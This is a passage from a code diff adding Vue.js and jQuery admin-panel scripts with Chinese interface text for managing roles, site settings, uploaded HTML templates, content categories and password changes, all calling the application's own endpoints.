dataType: "json",
|
||||
contentType: "application/json",
|
||||
data:"",
|
||||
success: function(data) {
|
||||
this.$message.success("删除成功");
|
||||
this.lists.splice(this.ac.index,1);
|
||||
}.bind(this),
|
||||
error:function(err){
|
||||
|
||||
}.bind(this)
|
||||
});
|
||||
|
||||
}).catch(() => {
|
||||
|
||||
});
|
||||
},
|
||||
getlist:function(){
|
||||
this.isloading=true;
|
||||
this.lists=[];
|
||||
this.datatxt="数据加载中";
|
||||
$.ajax({
|
||||
url: "/okadmin/api/roles",
|
||||
type: "get",
|
||||
dataType: "json",
|
||||
contentType: "application/json",
|
||||
data:"",
|
||||
success: function(data) {
|
||||
this.isloading=false;
|
||||
|
||||
this.lists=data.data;
|
||||
if(this.lists.length<1){
|
||||
this.datatxt="没有数据";
|
||||
}
|
||||
}.bind(this),
|
||||
error:function(err){
|
||||
|
||||
}.bind(this)
|
||||
});
|
||||
},
|
||||
getallpermissions:function(){
|
||||
$.ajax({
|
||||
url: "/okadmin/api/allPermissions",
|
||||
type: "get",
|
||||
dataType: "json",
|
||||
contentType: "application/json",
|
||||
data:"",
|
||||
success: function(data) {
|
||||
this.isloading=false;
|
||||
this.permissions=data.data;
|
||||
}.bind(this),
|
||||
error:function(err){
|
||||
|
||||
}.bind(this)
|
||||
});
|
||||
},
|
||||
selAp:function(id){
|
||||
if(comm.isArrayCon(this.selpss,id)){
|
||||
for(var i=0;i<this.selpss.length;i++){
|
||||
if(id==this.selpss[i]){
|
||||
this.selpss.splice(i,1)
|
||||
}
|
||||
}
|
||||
}else{
|
||||
this.selpss.push(id);
|
||||
}
|
||||
//console.log(JSON.stringify(this.one.permissions));
|
||||
},
|
||||
uppassSub:function(formName){
|
||||
this.$refs[formName].validate((valid) => {
|
||||
if (valid) {
|
||||
var old=comm.sTrim(comm.uppassForm.oldpass)
|
||||
var newp=comm.sTrim(comm.uppassForm.newpass)
|
||||
var renewp=comm.sTrim(comm.uppassForm.repass)
|
||||
var query={
|
||||
password:old,
|
||||
newPassword:newp
|
||||
};
|
||||
$.ajax({
|
||||
url: "/okadmin/uppass",
|
||||
type: "post",
|
||||
dataType: "json",
|
||||
contentType: "application/json",
|
||||
data:JSON.stringify(query),
|
||||
success: function(data) {
|
||||
comm.uppassForm.newpass="";
|
||||
comm.uppassForm.oldpass="";
|
||||
comm.uppassForm.renewpass="";
|
||||
comm.uppassForm=false;
|
||||
this.$message.success("密码修改成功。请使用新密码重新登录!");
|
||||
setTimeout(function () {
|
||||
window.location.href="/okadmin/loginout";
|
||||
}, 3000)
|
||||
}.bind(this),
|
||||
error:function(err){
|
||||
this.$message.error(JSON.parse(err.responseText).msg);
|
||||
}.bind(this)
|
||||
});
|
||||
} else {
|
||||
return false;
|
||||
}
|
||||
});
|
||||
|
||||
},
|
||||
|
||||
|
||||
}
|
||||
})
|
||||
@@ -0,0 +1,142 @@
|
||||
var app=new Vue({
|
||||
el:"#app",
|
||||
data:{
|
||||
|
||||
menuActive:"8004",
|
||||
menuAOpeneds:[],
|
||||
nowtimes:"23",
|
||||
one:{
|
||||
sitename:'',
|
||||
domain_name:'',
|
||||
kf_weixin:'',
|
||||
kf_qq:'',
|
||||
kf_qq2:'',
|
||||
kf_400:'',
|
||||
kf_wxcode:'',
|
||||
site_desc:'',
|
||||
site_keyword:'',
|
||||
client_name:''
|
||||
},
|
||||
ruleOne:{
|
||||
sitename:[
|
||||
{ required: true, message: '请输入4-20位系统名称', trigger: 'blur',min:4,max:20}
|
||||
],
|
||||
domain_name:[
|
||||
{ required: true, message: '请输入正确的网址,如abc.com', trigger: 'blur'}
|
||||
]
|
||||
},
|
||||
types:[]
|
||||
},
|
||||
created: function() {
|
||||
var that=this;
|
||||
this.init();
|
||||
},
|
||||
methods: {
|
||||
init:function(){
|
||||
this.getsysinfo();
|
||||
},
|
||||
fileClick:function(){
|
||||
$('#file').click();
|
||||
},
|
||||
upok:function(files, fileList){
|
||||
this.one.kf_wxcode=files.url;
|
||||
},
|
||||
uperror:function(err, file, fileList){
|
||||
console.log(JSON.stringify(err))
|
||||
console.log(JSON.stringify(file))
|
||||
console.log(JSON.stringify(fileList))
|
||||
this.$message.error(file.msg);
|
||||
},
|
||||
beforeAvatarUpload(file) {
|
||||
console.log(file.type)
|
||||
const isJPG = (file.type === 'image/jpeg' || file.type === 'image/png');
|
||||
const isLt2M = file.size / 1024 / 1024 < 2;
|
||||
|
||||
if (!isJPG) {
|
||||
this.$message.error('请上传JPG,PNG类型图片!');
|
||||
return false;
|
||||
}
|
||||
if (!isLt2M) {
|
||||
this.$message.error('上传文件大小不能超过 2MB!');
|
||||
return false;
|
||||
}
|
||||
return isJPG && isLt2M;
|
||||
},
|
||||
adds:function(name){
|
||||
this.$refs[name].validate((valid) => {
|
||||
if (valid) {
|
||||
|
||||
var query=this.one;
|
||||
$.ajax({
|
||||
url: "/admin/admin/systemup",
|
||||
type: "put",
|
||||
dataType: "json",
|
||||
contentType: "application/json",
|
||||
data:JSON.stringify(query),
|
||||
success: function(data) {
|
||||
|
||||
this.$message.success("保存成功!");
|
||||
}.bind(this),
|
||||
error:function(err){
|
||||
|
||||
}.bind(this)
|
||||
});
|
||||
} else {
|
||||
return false;
|
||||
}
|
||||
});
|
||||
},
|
||||
getsysinfo:function(){
|
||||
$.ajax({
|
||||
url: "/admin/admin/sysinfo",
|
||||
type: "get",
|
||||
dataType: "json",
|
||||
contentType: "application/json",
|
||||
data:"",
|
||||
success: function(data) {
|
||||
this.one=data.data;
|
||||
}.bind(this),
|
||||
error:function(err){}.bind(this)
|
||||
});
|
||||
},
|
||||
uppassSub:function(formName){
|
||||
this.$refs[formName].validate((valid) => {
|
||||
if (valid) {
|
||||
var old=comm.sTrim(comm.uppassForm.oldpass)
|
||||
var newp=comm.sTrim(comm.uppassForm.newpass)
|
||||
var renewp=comm.sTrim(comm.uppassForm.repass)
|
||||
var query={
|
||||
password:old,
|
||||
newPassword:newp
|
||||
};
|
||||
$.ajax({
|
||||
url: "/admin/admin/uppass",
|
||||
type: "post",
|
||||
dataType: "json",
|
||||
contentType: "application/json",
|
||||
data:JSON.stringify(query),
|
||||
success: function(data) {
|
||||
comm.uppassForm.newpass="";
|
||||
comm.uppassForm.oldpass="";
|
||||
comm.uppassForm.renewpass="";
|
||||
comm.uppassForm=false;
|
||||
comm.uppassISshow=false;
|
||||
this.$message.success("密码修改成功。请使用新密码重新登录!");
|
||||
setTimeout(function () {
|
||||
window.location.href="/admin/admin/loginout";
|
||||
}, 2000)
|
||||
}.bind(this),
|
||||
error:function(err){
|
||||
this.$message.error(JSON.parse(err.responseText).msg);
|
||||
}.bind(this)
|
||||
});
|
||||
} else {
|
||||
return false;
|
||||
}
|
||||
});
|
||||
|
||||
},
|
||||
|
||||
|
||||
}
|
||||
})
|
||||
@@ -0,0 +1,254 @@
|
||||
var app=new Vue({
|
||||
el:"#app",
|
||||
data:{
|
||||
|
||||
menuActive:"803",
|
||||
menuAOpeneds:[],
|
||||
lists:[],
|
||||
isloading:true,
|
||||
datatxt:"数据加载中",
|
||||
iseditshow:false,
|
||||
one:{
|
||||
file:"",
|
||||
name:"",
|
||||
dec:""
|
||||
},
|
||||
oneRulue:{
|
||||
file:[
|
||||
{ required: true,message: '请上传模板', trigger: 'blur' }
|
||||
],
|
||||
name:[
|
||||
{ required: true,message: '请输入模板名称', trigger: 'blur' },
|
||||
{ type: "string",min:2,max:20,message: '模板名称长度为2-20', trigger: 'blur' },
|
||||
],
|
||||
dec:[
|
||||
{ required: true,message: '请输入描述', trigger: 'blur' }
|
||||
]
|
||||
},
|
||||
ac:{
|
||||
type:'add',
|
||||
index:null
|
||||
},
|
||||
types:[],
|
||||
total:0,
|
||||
},
|
||||
created: function() {
|
||||
var that=this;
|
||||
this.init();
|
||||
},
|
||||
methods: {
|
||||
init:function(){
|
||||
this.gettype();
|
||||
this.getlist();
|
||||
},
|
||||
typeid2str:function(id){
|
||||
for(var i=0;i<this.types.length;i++){
|
||||
if(this.types[i].id==id){
|
||||
return this.types[i].name;
|
||||
}
|
||||
}
|
||||
},
|
||||
edit:function(index){
|
||||
if(index>-1){
|
||||
this.ac={
|
||||
type:'edit',
|
||||
index:index
|
||||
}
|
||||
var one={
|
||||
dec:this.lists[index].dec,
|
||||
name:this.lists[index].name,
|
||||
file:this.lists[index].file
|
||||
}
|
||||
this.one=one
|
||||
}else{
|
||||
this.ac={
|
||||
type:'add',
|
||||
index:null
|
||||
}
|
||||
this.one={
|
||||
file:"",
|
||||
name:"",
|
||||
dec:""
|
||||
}
|
||||
}
|
||||
this.iseditshow=true;
|
||||
},
|
||||
edits:function(){
|
||||
window.location.href="/okadmin/contentadds";
|
||||
},
|
||||
editSub:function(name){
|
||||
this.$refs[name].validate((valid) => {
|
||||
if (!valid) {
|
||||
//this.$Message.error('表单填写不完整');
|
||||
} else {
|
||||
var url="/okadmin/templates";
|
||||
var type="post";
|
||||
var oktxt="内容添加";
|
||||
if(this.ac.type=="edit"){
|
||||
url="/okadmin/content/"+this.lists[this.ac.index].id;
|
||||
type="put";
|
||||
oktxt="内容修改";
|
||||
}
|
||||
var query=this.one;
|
||||
$.ajax({
|
||||
url: url,
|
||||
type: type,
|
||||
dataType: "json",
|
||||
contentType: "application/json",
|
||||
data:JSON.stringify(query),
|
||||
success: function(data) {
|
||||
this.$message.success(oktxt+"成功");
|
||||
if(this.ac.type=="add"){
|
||||
this.getlist();
|
||||
}else{
|
||||
this.lists.splice(this.ac.index,1,data.data);
|
||||
}
|
||||
this.iseditshow=false;
|
||||
}.bind(this),
|
||||
error:function(err){
|
||||
|
||||
}.bind(this)
|
||||
});
|
||||
}
|
||||
})
|
||||
},
|
||||
del:function(index){
|
||||
this.ac.index=index;
|
||||
this.$confirm('此操作将永久删除该内容, 是否继续?', '提示', {
|
||||
confirmButtonText: '确定',
|
||||
cancelButtonText: '取消',
|
||||
type: 'warning'
|
||||
}).then(() => {
|
||||
$.ajax({
|
||||
url: "/okadmin/template/"+this.lists[this.ac.index].id,
|
||||
type: "delete",
|
||||
dataType: "json",
|
||||
contentType: "application/json",
|
||||
data:"",
|
||||
success: function(data) {
|
||||
this.$message.success("删除成功");
|
||||
this.getlist();
|
||||
}.bind(this),
|
||||
error:function(err){
|
||||
|
||||
}.bind(this)
|
||||
});
|
||||
|
||||
}).catch(() => {
|
||||
|
||||
});
|
||||
},
|
||||
yulan:function(index){
|
||||
this.ac.index=index;
|
||||
|
||||
},
|
||||
fileClick:function(){
|
||||
$('#file').click();
|
||||
},
|
||||
getlist:function(){
|
||||
this.isloading=true;
|
||||
this.lists=[];
|
||||
this.datatxt="数据加载中";
|
||||
$.ajax({
|
||||
url: "/okadmin/templateslist",
|
||||
type: "get",
|
||||
dataType: "json",
|
||||
contentType: "application/json",
|
||||
data:"",
|
||||
success: function(data) {
|
||||
this.isloading=false;
|
||||
|
||||
this.lists=data.data;
|
||||
this.total=data.total;
|
||||
if(this.lists.length<1){
|
||||
this.datatxt="没有数据";
|
||||
}
|
||||
}.bind(this),
|
||||
error:function(err){
|
||||
|
||||
}.bind(this)
|
||||
});
|
||||
},
|
||||
gettype:function(){
|
||||
this.types=[];
|
||||
$.ajax({
|
||||
url: "/okadmin/typelist",
|
||||
type: "get",
|
||||
dataType: "json",
|
||||
contentType: "application/json",
|
||||
data:"",
|
||||
success: function(data) {
|
||||
this.types=data.data;
|
||||
}.bind(this),
|
||||
error:function(err){
|
||||
|
||||
}.bind(this)
|
||||
});
|
||||
},
|
||||
upok:function(files, fileList){
|
||||
this.one.file=files.url;
|
||||
},
|
||||
uperror:function(err, file, fileList){
|
||||
console.log(JSON.stringify(err))
|
||||
console.log(JSON.stringify(file))
|
||||
console.log(JSON.stringify(fileList))
|
||||
this.$message({
|
||||
showClose: true,
|
||||
message: file.msg,
|
||||
type: 'error'
|
||||
});
|
||||
},
|
||||
beforeAvatarUpload(file) {
|
||||
const isJPG = file.type === 'text/html';
|
||||
const isLt2M = file.size / 1024 / 1024 < 2;
|
||||
|
||||
if (!isJPG) {
|
||||
this.$message.error('请上传html类型文件!');
|
||||
}
|
||||
if (!isLt2M) {
|
||||
this.$message.error('上传文件大小不能超过 2MB!');
|
||||
}
|
||||
return isJPG && isLt2M;
|
||||
},
|
||||
uppassSub:function(formName){
|
||||
this.$refs[formName].validate((valid) => {
|
||||
if (valid) {
|
||||
var old=comm.sTrim(comm.uppassForm.oldpass)
|
||||
var newp=comm.sTrim(comm.uppassForm.newpass)
|
||||
var renewp=comm.sTrim(comm.uppassForm.repass)
|
||||
var query={
|
||||
password:old,
|
||||
newPassword:newp
|
||||
};
|
||||
$.ajax({
|
||||
url: "/okadmin/uppass",
|
||||
type: "post",
|
||||
dataType: "json",
|
||||
contentType: "application/json",
|
||||
data:JSON.stringify(query),
|
||||
success: function(data) {
|
||||
comm.uppassForm.newpass="";
|
||||
comm.uppassForm.oldpass="";
|
||||
comm.uppassForm.renewpass="";
|
||||
comm.uppassForm=false;
|
||||
this.$message.success("密码修改成功。请使用新密码重新登录!");
|
||||
setTimeout(function () {
|
||||
window.location.href="/okadmin/loginout";
|
||||
}, 3000)
|
||||
}.bind(this),
|
||||
error:function(err){
|
||||
this.$message.error(JSON.parse(err.responseText).msg);
|
||||
}.bind(this)
|
||||
});
|
||||
} else {
|
||||
return false;
|
||||
}
|
||||
});
|
||||
|
||||
},
|
||||
|
||||
|
||||
}
|
||||
})
|
||||
|
||||
|
||||
@@ -0,0 +1,185 @@
|
||||
var app=new Vue({
|
||||
el:"#app",
|
||||
data:{
|
||||
|
||||
menuActive:"801",
|
||||
menuAOpeneds:[],
|
||||
lists:[],
|
||||
isloading:true,
|
||||
datatxt:"数据加载中",
|
||||
iseditshow:false,
|
||||
one:{
|
||||
name:'',
|
||||
px:10
|
||||
},
|
||||
oneRulue:{
|
||||
name:[
|
||||
{ required: true, message: '请输入分类名称', trigger: 'blur' },
|
||||
{ type: 'string', min: 2, message: '分类名称至少2字符', trigger: 'blur' },
|
||||
{ type: 'string', max: 15, message: '分类名称最多15符', trigger: 'blur' }
|
||||
],
|
||||
px:[
|
||||
{ required: true,type: 'number',message: '请输入排序', trigger: 'blur' },
|
||||
]
|
||||
},
|
||||
ac:{
|
||||
type:'add',
|
||||
index:null
|
||||
}
|
||||
},
|
||||
created: function() {
|
||||
var that=this;
|
||||
this.init();
|
||||
},
|
||||
methods: {
|
||||
init:function(){
|
||||
this.getlist();
|
||||
},
|
||||
edit:function(index){
|
||||
if(index>-1){
|
||||
this.ac={
|
||||
type:'edit',
|
||||
index:index
|
||||
}
|
||||
var one={
|
||||
name:this.lists[index].name,
|
||||
px:this.lists[index].px
|
||||
}
|
||||
this.one=one
|
||||
}else{
|
||||
this.ac={
|
||||
type:'add',
|
||||
index:null
|
||||
}
|
||||
this.one={
|
||||
name:'',
|
||||
px:10
|
||||
}
|
||||
}
|
||||
this.iseditshow=true;
|
||||
},
|
||||
editSub:function(name){
|
||||
this.$refs[name].validate((valid) => {
|
||||
if (!valid) {
|
||||
//this.$Message.error('表单填写不完整');
|
||||
} else {
|
||||
var url="/okadmin/type";
|
||||
var type="post";
|
||||
var oktxt="分类添加";
|
||||
if(this.ac.type=="edit"){
|
||||
url="/okadmin/type/"+this.lists[this.ac.index].id;
|
||||
type="put";
|
||||
oktxt="分类修改";
|
||||
}
|
||||
var query=this.one;
|
||||
$.ajax({
|
||||
url: url,
|
||||
type: type,
|
||||
dataType: "json",
|
||||
contentType: "application/json",
|
||||
data:JSON.stringify(query),
|
||||
success: function(data) {
|
||||
this.$message.success(oktxt+"成功");
|
||||
if(this.ac.type=="add"){
|
||||
this.lists.push(data.data);
|
||||
}else{
|
||||
this.lists.splice(this.ac.index,1,data.data);
|
||||
}
|
||||
this.iseditshow=false;
|
||||
}.bind(this),
|
||||
error:function(err){
|
||||
|
||||
}.bind(this)
|
||||
});
|
||||
}
|
||||
})
|
||||
},
|
||||
del:function(index){
|
||||
this.ac.index=index;
|
||||
this.$confirm('此操作将永久删除分类【'+this.lists[this.ac.index].name+'】, 是否继续?', '提示', {
|
||||
confirmButtonText: '确定',
|
||||
cancelButtonText: '取消',
|
||||
type: 'warning'
|
||||
}).then(() => {
|
||||
$.ajax({
|
||||
url: "/okadmin/type/"+this.lists[this.ac.index].id,
|
||||
type: "delete",
|
||||
dataType: "json",
|
||||
contentType: "application/json",
|
||||
data:"",
|
||||
success: function(data) {
|
||||
this.$message.success("删除成功");
|
||||
this.lists.splice(this.ac.index,1);
|
||||
}.bind(this),
|
||||
error:function(err){
|
||||
|
||||
}.bind(this)
|
||||
});
|
||||
|
||||
}).catch(() => {
|
||||
|
||||
});
|
||||
},
|
||||
getlist:function(){
|
||||
this.isloading=true;
|
||||
this.lists=[];
|
||||
this.datatxt="数据加载中";
|
||||
$.ajax({
|
||||
url: "/okadmin/typelist",
|
||||
type: "get",
|
||||
dataType: "json",
|
||||
contentType: "application/json",
|
||||
data:"",
|
||||
success: function(data) {
|
||||
this.isloading=false;
|
||||
|
||||
this.lists=data.data;
|
||||
if(this.lists.length<1){
|
||||
this.datatxt="没有数据";
|
||||
}
|
||||
}.bind(this),
|
||||
error:function(err){
|
||||
|
||||
}.bind(this)
|
||||
});
|
||||
},
|
||||
uppassSub:function(formName){
|
||||
this.$refs[formName].validate((valid) => {
|
||||
if (valid) {
|
||||
var old=comm.sTrim(comm.uppassForm.oldpass)
|
||||
var newp=comm.sTrim(comm.uppassForm.newpass)
|
||||
var renewp=comm.sTrim(comm.uppassForm.repass)
|
||||
var query={
|
||||
password:old,
|
||||
newPassword:newp
|
||||
};
|
||||
$.ajax({
|
||||
url: "/okadmin/uppass",
|
||||
type: "post",
|
||||
dataType: "json",
|
||||
contentType: "application/json",
|
||||
data:JSON.stringify(query),
|
||||
success: function(data) {
|
||||
comm.uppassForm.newpass="";
|
||||
comm.uppassForm.oldpass="";
|
||||
comm.uppassForm.renewpass="";
|
||||
comm.uppassForm=false;
|
||||
this.$message.success("密码修改成功。请使用新密码重新登录!");
|
||||
setTimeout(function () {
|
||||
window.location.href="/okadmin/loginout";
|
||||
}, 3000)
|
||||
}.bind(this),
|
||||
error:function(err){
|
||||
this.$message.error(JSON.parse(err.responseText).msg);
|
||||
}.bind(this)
|
||||
});
|
||||
} else {
|
||||
return false;
|
||||
}
|
||||
});
|
||||
|
||||
},
|
||||
|
||||
|
||||
}
|
||||
})
|
||||
Reference in New Issue
Block a user